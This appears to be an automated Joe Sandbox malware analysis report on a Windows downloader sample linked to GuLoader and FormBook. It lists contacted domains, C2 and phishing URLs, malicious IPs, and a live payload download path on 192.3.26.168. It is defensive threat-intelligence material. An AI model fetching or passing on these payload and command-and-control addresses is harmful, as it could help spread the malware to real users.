sOjxIU25DP.exe	18%	ReversingLabs	Win32.Downloader.Nemesis

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp\System.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
shops.myshopify.com	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label
http://www.gopher.ftp://ftp.	0%	Avira URL Cloud	safe
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	0%	Avira URL Cloud	safe
http://www.qwevqgjw.cfd/ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=ZV58cyt7lud3nw6eSnCnw3hvj6dUBdrYkOi4GK43GwnmJSRRdDKHOou2s3Asj9CH0dO3	0%	Avira URL Cloud	safe
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	0%	Avira URL Cloud	safe
http://www.v3rqa4.cfd/ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=guECCXqLjKMlTgXYmWlTNZtjq1eNGXNQ/IdW5sYhHpF3w1JDH28dgIACtLNueUjQEvWN	0%	Avira URL Cloud	safe
http://schemas.micro	0%	Avira URL Cloud	safe
http://www.kidomarketing.com/ms14/?QJB0xT=TIWzyoGdrQFlteRTPc2/q3mkvp99BCJHnTod9wRXADTUDAS/FCyUAwX7vGiWwWxn+VUq&B2Mpk=f85PJD7hpN2lIn7P	0%	Avira URL Cloud	safe
http://www.clasmiv.xyz/ms14/?QJB0xT=ExO+mlRW1o/NYIiPH+dEMyGuDqrixouKzp4y+1w6c7Z43bD4dH58n5BRPsGlc5F6RPX6&1bo=C0GXuXghTTwLYH3P	0%	Avira URL Cloud	safe
https://word.office.comH	0%	Avira URL Cloud	safe
http://www.tissageparis.com/ms14/?1bo=C0GXuXghTTwLYH3P&QJB0xT=MLQ+HTgVUn3jaFS2ILzuAjsIJjNu+1+3m/Sj2Q2hvWs5q9gbPJxLuvYlh2aS2xbCyKej	0%	Avira URL Cloud	safe
http://www.windyhillcnc.com/ms14/?QJB0xT=HLFfgtSIv2BFOuqEXXmjMsOgX5uXR5t8szQFcDcueEkA15zyo77SlbLbtLZStBcBunAe&B2Mpk=f85PJD7hpN2lIn7P	0%	Avira URL Cloud	safe
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	0%	Avira URL Cloud	safe
http://192.3.26.168/windows/f/ayewoMsIHKx140.bin	100%	Avira URL Cloud	malware
http://www.wecanshipit.com/ms14/?QJB0xT=OQWpPi6uI3UGBYQJZSbMJqnqSY5RWfuSjay0cT6R5KncvGzSjOF/jghVxSWpT7vNO9hf&1bo=C0GXuXghTTwLYH3P	0%	Avira URL Cloud	safe
http://www.porterhayranch.com/ms14/?1bo=C0GXuXghTTwLYH3P&QJB0xT=61ESqerRCvuT4VGqBSm67J6rRXzHoZWImFNiyKjsxOo7CEi29JlSDgSUvZ82cb9D0UFy	0%	Avira URL Cloud	safe
http://www.trullys.com/ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=bHN4wORI7H+NWcMfY9gYOUeN/ujL3+jkL0HCUOGFoqjmS/sbmAxe1bbDFfr2wZF6/DmY	0%	Avira URL Cloud	safe
https://www.polleninfo.org/	0%	Avira URL Cloud	safe
http://www.lasik-de-de-8808230.zone/ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=0MCVt3ro+Y2fULC7mglHTnfgc1Mr+oeAYZcaZJUD5Vdcg90q3P52QZV9uqsVct+gY69j	0%	Avira URL Cloud	safe
http://www.peterscanner.com/ms14/?QJB0xT=FUnpMs8zmvOjmROP3PnlROYxRJ7cCFlgEWWc0/bexyWbb6gAbwR4+JgC7sIqrRtPqJOK&B2Mpk=f85PJD7hpN2lIn7P	0%	Avira URL Cloud	safe
http://192.3.26.168/$	100%	Avira URL Cloud	malware
www.civzbpp.xyz/ms14/	100%	Avira URL Cloud	phishing
http://crl.m	0%	Avira URL Cloud	safe
http://www.civzbpp.xyz/ms14/?QJB0xT=8VzwEhVnpj9LHHh/dBVXH/vZWr+ED3Zs+ywwPL0zx8n2VWRBGUwo2mcFvQSxFjo7HGkT&B2Mpk=f85PJD7hpN2lIn7P	100%	Avira URL Cloud	phishing
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	0%	Avira URL Cloud	safe
http://192.3.26.168/	100%	Avira URL Cloud	malware
http://192.3.26.168/windows/f/ayewoMsIHKx140.binn	100%	Avira URL Cloud	malware
http://www.1cdpwp.cfd/ms14/?QJB0xT=lEjG/k1PkI4zOJF8oXanKdsdehVTXLpE1fkbJc1gJRmE6X0hy4jq+etMznheHQbAVKud&B2Mpk=f85PJD7hpN2lIn7P	0%	Avira URL Cloud	safe
http://192.3.26.168/windows/f/ayewoMsIHKx140.binp	100%	Avira URL Cloud	malware
http://www.lilith-con.com/ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=u3S/fUpBdl6P8b4ADNn+FVx0VEGCDPoJ7b9d+427u3NTiKr5dAp1QyZtAqVtC5y+GShx	0%	Avira URL Cloud	safe
http://www.4213z0.com/ms14/?QJB0xT=7pJIIbtCMy+ecPp8pgyiBZjmVH3xwtCfzKzpB8i7ILiJr4SH9k6ng2HuTeqTpN16/Xyy&B2Mpk=f85PJD7hpN2lIn7P	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
u8tk45qe.duncdnfy.com	104.208.72.135	true	true		unknown
4213z0.com	34.102.136.180	true	false		unknown
www.clasmiv.xyz	162.0.236.131	true	true		unknown
shops.myshopify.com	23.227.38.74	true	true	0%, Virustotal, Browse	unknown
www.tissageparis.com	38.60.124.101	true	true		unknown
www.wecanshipit.com	74.208.236.75	true	true		unknown
www.1cdpwp.cfd	107.148.29.94	true	true		unknown
porterhayranch.com	34.102.136.180	true	false		unknown
www.civzbpp.xyz	150.95.255.38	true	true		unknown
kidomarketing.com	156.67.72.35	true	true		unknown
www.peterscanner.com	118.27.130.228	true	true		unknown
windyhillcnc.com	34.102.136.180	true	false		unknown
lilith-con.com	185.238.87.6	true	true		unknown
ssl1.prod.systemdragon.com	104.17.157.1	true	true		unknown
www.qwevqgjw.cfd	150.95.255.38	true	true		unknown
www.windyhillcnc.com	unknown	unknown	true		unknown
www.trullys.com	unknown	unknown	true		unknown
www.lilith-con.com	unknown	unknown	true		unknown
www.keyviewgroup.com	unknown	unknown	true		unknown
www.porterhayranch.com	unknown	unknown	true		unknown
www.v3rqa4.cfd	unknown	unknown	true		unknown
www.zbjcolwy.cfd	unknown	unknown	true		unknown
www.4213z0.com	unknown	unknown	true		unknown
www.ixs0o9.com	unknown	unknown	true		unknown
www.adjoinstaff.online	unknown	unknown	true		unknown
www.lasik-de-de-8808230.zone	unknown	unknown	true		unknown
www.kidomarketing.com	unknown	unknown	true		unknown
www.rikkun501.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.kidomarketing.com/ms14/?QJB0xT=TIWzyoGdrQFlteRTPc2/q3mkvp99BCJHnTod9wRXADTUDAS/FCyUAwX7vGiWwWxn+VUq&B2Mpk=f85PJD7hpN2lIn7P	true	Avira URL Cloud: safe	unknown
http://www.qwevqgjw.cfd/ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=ZV58cyt7lud3nw6eSnCnw3hvj6dUBdrYkOi4GK43GwnmJSRRdDKHOou2s3Asj9CH0dO3	true	Avira URL Cloud: safe	unknown
http://www.clasmiv.xyz/ms14/?QJB0xT=ExO+mlRW1o/NYIiPH+dEMyGuDqrixouKzp4y+1w6c7Z43bD4dH58n5BRPsGlc5F6RPX6&1bo=C0GXuXghTTwLYH3P	true	Avira URL Cloud: safe	unknown
http://www.v3rqa4.cfd/ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=guECCXqLjKMlTgXYmWlTNZtjq1eNGXNQ/IdW5sYhHpF3w1JDH28dgIACtLNueUjQEvWN	true	Avira URL Cloud: safe	unknown
http://www.tissageparis.com/ms14/?1bo=C0GXuXghTTwLYH3P&QJB0xT=MLQ+HTgVUn3jaFS2ILzuAjsIJjNu+1+3m/Sj2Q2hvWs5q9gbPJxLuvYlh2aS2xbCyKej	true	Avira URL Cloud: safe	unknown
http://www.trullys.com/ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=bHN4wORI7H+NWcMfY9gYOUeN/ujL3+jkL0HCUOGFoqjmS/sbmAxe1bbDFfr2wZF6/DmY	true	Avira URL Cloud: safe	unknown
http://www.windyhillcnc.com/ms14/?QJB0xT=HLFfgtSIv2BFOuqEXXmjMsOgX5uXR5t8szQFcDcueEkA15zyo77SlbLbtLZStBcBunAe&B2Mpk=f85PJD7hpN2lIn7P	false	Avira URL Cloud: safe	unknown
http://192.3.26.168/windows/f/ayewoMsIHKx140.bin	true	Avira URL Cloud: malware	unknown
http://www.lasik-de-de-8808230.zone/ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=0MCVt3ro+Y2fULC7mglHTnfgc1Mr+oeAYZcaZJUD5Vdcg90q3P52QZV9uqsVct+gY69j	true	Avira URL Cloud: safe	unknown
http://www.wecanshipit.com/ms14/?QJB0xT=OQWpPi6uI3UGBYQJZSbMJqnqSY5RWfuSjay0cT6R5KncvGzSjOF/jghVxSWpT7vNO9hf&1bo=C0GXuXghTTwLYH3P	true	Avira URL Cloud: safe	unknown
http://www.porterhayranch.com/ms14/?1bo=C0GXuXghTTwLYH3P&QJB0xT=61ESqerRCvuT4VGqBSm67J6rRXzHoZWImFNiyKjsxOo7CEi29JlSDgSUvZ82cb9D0UFy	false	Avira URL Cloud: safe	unknown
http://www.peterscanner.com/ms14/?QJB0xT=FUnpMs8zmvOjmROP3PnlROYxRJ7cCFlgEWWc0/bexyWbb6gAbwR4+JgC7sIqrRtPqJOK&B2Mpk=f85PJD7hpN2lIn7P	true	Avira URL Cloud: safe	unknown
www.civzbpp.xyz/ms14/	true	Avira URL Cloud: phishing	low
http://www.civzbpp.xyz/ms14/?QJB0xT=8VzwEhVnpj9LHHh/dBVXH/vZWr+ED3Zs+ywwPL0zx8n2VWRBGUwo2mcFvQSxFjo7HGkT&B2Mpk=f85PJD7hpN2lIn7P	true	Avira URL Cloud: phishing	unknown
http://www.1cdpwp.cfd/ms14/?QJB0xT=lEjG/k1PkI4zOJF8oXanKdsdehVTXLpE1fkbJc1gJRmE6X0hy4jq+etMznheHQbAVKud&B2Mpk=f85PJD7hpN2lIn7P	true	Avira URL Cloud: safe	unknown
http://www.lilith-con.com/ms14/?B2Mpk=f85PJD7hpN2lIn7P&QJB0xT=u3S/fUpBdl6P8b4ADNn+FVx0VEGCDPoJ7b9d+427u3NTiKr5dAp1QyZtAqVtC5y+GShx	true	Avira URL Cloud: safe	unknown
http://www.4213z0.com/ms14/?QJB0xT=7pJIIbtCMy+ecPp8pgyiBZjmVH3xwtCfzKzpB8i7ILiJr4SH9k6ng2HuTeqTpN16/Xyy&B2Mpk=f85PJD7hpN2lIn7P	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://api.msn.com/v1/news/Feed/Windows?	explorer.exe, 00000004.00000003.4663633920.000000000CD96000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/sport/fussball/schweizer-super-league	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JVI3NgA=/Condition/AAehR3S.svg	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/autos/nachrichten/genesis-g90-feiert-europapremiere-hyundais-edelmarke-pr	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/dieses-schweizer-tram-soll-bald-in-der-ukraine-fahren-al	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.	sOjxIU25DP.exe, 00000002.00000001.3105168096.0000000000649000.00000008.00000001.01000000.00000005.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/nachrichten/other/massive-regenf	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/	explorer.exe, 00000004.00000003.6362930968.000000000CE21000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.7937341605.000000000CE21000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD	sOjxIU25DP.exe, 00000002.00000001.3105168096.0000000000626000.00000008.00000001.01000000.00000005.sdmp	false		high
http://schemas.micro	explorer.exe, 00000004.00000002.7933540909.000000000AEC0000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000004.00000002.7932358850.000000000A070000.00000002.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.gopher.ftp://ftp.	sOjxIU25DP.exe, 00000002.00000001.3105168096.0000000000649000.00000008.00000001.01000000.00000005.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/finanzen/aktiendetails/earnings/fi-a24kar?noti=EarningRelease	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://word.office.comH	explorer.exe, 00000004.00000003.6362930968.000000000CF69000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.4663633920.000000000CF69000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://windows.msn.com:443/shell?osLocale=en-US	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/helikopter-im-einsatz-waldbrand-bei-bitsch-vs/ar-AA1dYSw	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd	sOjxIU25DP.exe, 00000002.00000001.3105168096.00000000005F2000.00000008.00000001.01000000.00000005.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/nachrichten/other/warum-band-das-ns-regime-den-unerw	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/svg/72/TrafficIncidentSevere2.svg	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/gesundheit/medizinisch/h	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/finanzen/nachrichten/swatch-verklagt-malaysia-wegen-beschlagnahmung-von-re	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214	sOjxIU25DP.exe, 00000002.00000001.3105168096.0000000000649000.00000008.00000001.01000000.00000005.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/de-ch/sport/other/golfer-steigt-ins-wasser-und-vergibt-die-chance-auf-den-sieg-s	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com:443/de-ch/feed	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://wns.windows.com/	explorer.exe, 00000004.00000003.6360065215.000000000D44E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.6370113181.000000000D44E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.polleninfo.org/	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://api.msn.com/v1/news/Feed/Windows?activityId=F20685E571224867A1827EC912069805&timeOut=5000&oc	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/hier-testet-z	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/sagt-man-paprika-oder-peperoni-ihr-habt-abgestimmt/ar-AA	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/finanzen/wirtschaft/neue-daten-zur-armutsquote-geht-es-unseren-rentnern-be	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/sport/other/neue-richtlinien-f	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/international/chinas-aussenminister-seit-drei-wochen-nicht-meh	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/politik/nach-knapp-zehn-jahren-ehe-aus-bei-gr	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/sport/fussball/verletzter-noch-nicht-vernehmungsf	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/gegenwehr-in-der-k	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://windows.msn.com:443/shellv2?osLocale=en-US	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://192.3.26.168/$	sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.msn.com/de-ch/sport/fussball/soccer-international-world-cup-women	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	sOjxIU25DP.exe, 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmp, sOjxIU25DP.exe, 00000000.00000000.2857345610.000000000040A000.00000008.00000001.01000000.00000003.sdmp, sOjxIU25DP.exe, 00000002.00000000.3102752985.000000000040A000.00000008.00000001.01000000.00000003.sdmp, explorer.exe, 00000004.00000002.7953793155.00000000142BF000.00000004.80000000.00040000.00000000.sdmp	false		high
http://www.foreca.com	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/news/eu-pl	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/werden-in-der-schweiz-private-feuerwerke-bald-verboten/a	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/international/neue-welle-im-anmarsch-s	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/international/reise-ombudsmann-r	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://crl.m	explorer.exe, 00000004.00000003.4663633920.000000000CD96000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/eupollen/city/202307180000/EuPollenCity.json	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_Error	sOjxIU25DP.exe, sOjxIU25DP.exe, 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmp, sOjxIU25DP.exe, 00000000.00000000.2857345610.000000000040A000.00000008.00000001.01000000.00000003.sdmp, sOjxIU25DP.exe, 00000002.00000000.3102752985.000000000040A000.00000008.00000001.01000000.00000003.sdmp, explorer.exe, 00000004.00000002.7953793155.00000000142BF000.00000004.80000000.00040000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/dorf-wird-evakuiert-armee-entsendet-super-puma-zum-brand	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/diese-bett-angewohnheiten-sind-ein-trennungsgrund/ar-AA1	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JVI3NgA=/Teaser/rainstart0.svg	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://192.3.26.168/	sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://android.notify.windows.com/iOS	explorer.exe, 00000004.00000000.3251752241.000000000CDD6000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.4663633920.000000000CF69000.00000004.00000001.00020000.00000000.sdmp	false		high
https://android.notify.windows.com/iOS/	explorer.exe, 00000004.00000000.3251752241.000000000CDD6000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/nachrichten/other/sandoz-geht-diesen-herbst-als-eigenst	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
http://192.3.26.168/windows/f/ayewoMsIHKx140.binp	sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049B4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://activity.windows.com/UserActivity.ReadWrite.CreatedByApp	explorer.exe, 00000004.00000003.6360065215.000000000D44E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.6370113181.000000000D44E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/serviceak/v1/news/Feed/Windows?apikey=qrUeHGGYvVowZJuHA3XaH0uUvg1ZJ0GUZnXk3mx	explorer.exe, 00000004.00000000.3251752241.000000000CDD6000.00000004.00000001.00020000.00000000.sdmp	false		high
http://192.3.26.168/windows/f/ayewoMsIHKx140.binn	sOjxIU25DP.exe, 00000002.00000002.3373253954.00000000049B4000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd	sOjxIU25DP.exe, 00000002.00000001.3105168096.00000000005F2000.00000008.00000001.01000000.00000005.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.msn.com/weathermapdata/1/static/svg/72/uspollen/uspollen	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/eupollen/rendered/20230718/	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JVI3Ng-	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://assets.msn.com/weathermapdata/1/static/weather/Icons/JVI3NgA=/AQI/uspl03.svg	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high
https://www.msn.com/de-ch/sport/other/auf-dieses-quintett-k	explorer.exe, 00000004.00000003.4661400751.000000000D00E000.00000004.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
38.60.124.101	www.tissageparis.com	United States	174	COGENT-174US	true
192.3.26.168	unknown	United States	36352	AS-COLOCROSSINGUS	true
74.208.236.75	www.wecanshipit.com	United States	8560	ONEANDONE-ASBrauerstrasse48DE	true
23.227.38.74	shops.myshopify.com	Canada	13335	CLOUDFLARENETUS	true
185.238.87.6	lilith-con.com	Spain	209984	WIBERES	true
150.95.255.38	www.civzbpp.xyz	Japan	7506	INTERQGMOInternetIncJP	true
156.67.72.35	kidomarketing.com	United States	201341	TESONETLT	true
104.17.157.1	ssl1.prod.systemdragon.com	United States	13335	CLOUDFLARENETUS	true
118.27.130.228	www.peterscanner.com	Singapore	135161	GMO-Z-COM-THGMO-ZcomNetDesignHoldingsCoLtdSG	true
162.0.236.131	www.clasmiv.xyz	Canada	22612	NAMECHEAP-NETUS	true
107.148.29.94	www.1cdpwp.cfd	United States	54600	PEGTECHINCUS	true
34.102.136.180	4213z0.com	United States	15169	GOOGLEUS	false
104.208.72.135	u8tk45qe.duncdnfy.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	true

General Information

Joe Sandbox Version:	38.0.0 Beryl
Analysis ID:	1274914
Start date and time:	2023-07-18 09:45:29 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 16m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, IE 11, Chrome 93, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
Run name:	Suspected Instruction Hammering
Number of analysed new started processes analysed:	25
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	sOjxIU25DP.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@261/5@22/13
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 29.3% (good quality ratio 27.4%) Quality average: 74.2% Quality standard deviation: 29.3%
HCA Information:	Successful, ratio: 90% Number of executed functions: 64 Number of non-executed functions: 272
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, audiodg.exe, BackgroundTransferHost.exe, UserOOBEBroker.exe, RuntimeBroker.exe, backgroundTaskHost.exe, svchost.exe, UsoClient.exe
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, wdcpalt.microsoft.com, login.live.com, tile-service.weather.microsoft.com, wdcp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
38.60.124.101	9nd1wnVl4k.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.tissageparis.com/ms14/?-ZHX=MLQ+HTgVUn3jaFS2ILzuAjsIJjNu+1+3m/Sj2Q2hvWs5q9gbPJxLuvYlh2aS2xbCyKej&QFQlV=Jr9H82XxThShe
192.3.26.168	Shipping_Docs_INV_&_Packing_list_I3839.xls	Get hash	malicious	GuLoader	Browse	192.3.26.168/90/winBx.exe
	Notafiscal-NFI3713-Nota.xls	Get hash	malicious	GuLoader	Browse	192.3.26.168/91/winBx.exe
	NOTAFISCAL-NFI3713.xls	Get hash	malicious	GuLoader	Browse	192.3.26.168/78/wikimap.exe
	32307017.xls	Get hash	malicious	GuLoader	Browse	192.3.26.168/79/wikimap.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
shops.myshopify.com	https://zs9pjs71.page.link/eNh4	Get hash	malicious	Unknown	Browse	23.227.38.74
	Sipari#U015f_formu_07.13.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	https://update-primebilling-payment.ctiveterinario.com.br/?login16area	Get hash	malicious	Unknown	Browse	23.227.38.74
	SecuriteInfo.com.Variant.Zusy.476566.32759.1467.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	SWF310130709H10170_doc.exe	Get hash	malicious	FormBook, GuLoader	Browse	23.227.38.74
	IIuIBWOcyq.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	8xJM9UqqLp.exe	Get hash	malicious	FormBook	Browse	23.227.38.74
	https://clubi.cc/afd6021e?utm=un-pc-portable-avec-3-ecrans-ca-vous-tente	Get hash	malicious	Unknown	Browse	23.227.38.74
	PO20230607002pdf.exe	Get hash	malicious	FormBook, NSISDropper	Browse	23.227.38.74
	Topos_New_order_06_07.doc	Get hash	malicious	FormBook, NSISDropper	Browse	23.227.38.74
